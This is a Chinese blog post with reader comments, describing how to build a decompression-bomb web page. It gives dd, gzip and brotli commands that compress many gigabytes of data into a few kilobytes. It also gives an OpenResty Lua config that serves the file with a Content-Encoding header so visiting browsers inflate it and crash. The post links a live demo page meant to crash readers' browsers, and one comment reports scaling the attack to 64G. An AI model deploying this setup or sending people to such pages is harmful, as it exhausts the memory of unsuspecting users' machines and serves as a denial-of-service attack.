吃内存的网页炸弹

源头

前阵子看到一个文件,42.zip(其实很早之前就有了),说是一个42k的文件,解压后可以膨胀到几个G。下载下来看了看,发现是一个压缩包里有一堆别的压缩包

下载那些文件:https://bomb.codes/bombs

拿gzip做压缩炸弹

正巧想到,网页加载不是也有个gzip吗,搞个网页版的看浏览器能不能承受得了

于是生成了一个文件:

dd if=/dev/zero bs=1M count=1024 | gzip > bomb.gzip

生成的文件大概1M多点,解压后就是1G

因为用的是openresty,所以直接搞个脚本返回文件数据就行了,编码格式设置成gzip

location /large {
    default_type 'text/html';
    content_by_lua_block {
        local f = io.open("/home/ubuntu/bomb.gzip","rb")
        if not f then ngx.say("nil") return end
        ngx.header["Content-Encoding"] = "gzip"
        local data
        while true do
            data = f:read(1024)
            if nil == data then
                break
            end
            ngx.print(data)
            ngx.flush(true)
        end
        f:close()
    }
}

测试了下,效果一般般,另外这个压缩比例是1000:1(1G差不多需要1M),浪费带宽,不太值得

发现了另一个压缩算法

看了看浏览器请求,发现除了gzip,还有个br,查了查发现是Google的一个压缩算法,叫brotli,那就试试好了

sudo apt install brotli
dd if=/dev/zero bs=1M count=1024 | brotli -o -Z > bomb.br

发现1G的文件,处理完只有783字节了,有点强

于是乎直接40G文件搞起,而且生成可见字符好了

dd if=/dev/zero bs=10M count=4096 | tr "\x00" "\x31" | brotli -o -Z > bomb.br

压缩完才33k

同样脚本稍微改下,吧gzip换成br

location /large {
    default_type 'text/html';
    content_by_lua_block {
        local f = io.open("/home/ubuntu/bomb.br","rb")
        if not f then ngx.say("nil") return end
        ngx.header["Content-Encoding"] = "br"
        local data
        while true do
            data = f:read(1024)
            if nil == data then
                break
            end
            ngx.print(data)
            ngx.flush(true)
        end
        f:close()
    }
}

效果惊人

然后浏览器崩了

群里小涛的截图:

End

想体验一下?点开下面的链接就能体验(当心浏览器崩了)

https://qq.papapoi.com/boom

4 Comments

  1. Google Chrome 114.0.0.0 Google Chrome 114.0.0.0 Windows 10 x64 Edition Windows 10 x64 Edition

    换成64G试了试,任务管理器显示浏览器占用13567MB时浏览器显示Out of Memory了

Dace Alina进行回复 取消回复

您的电子邮箱地址不会被公开。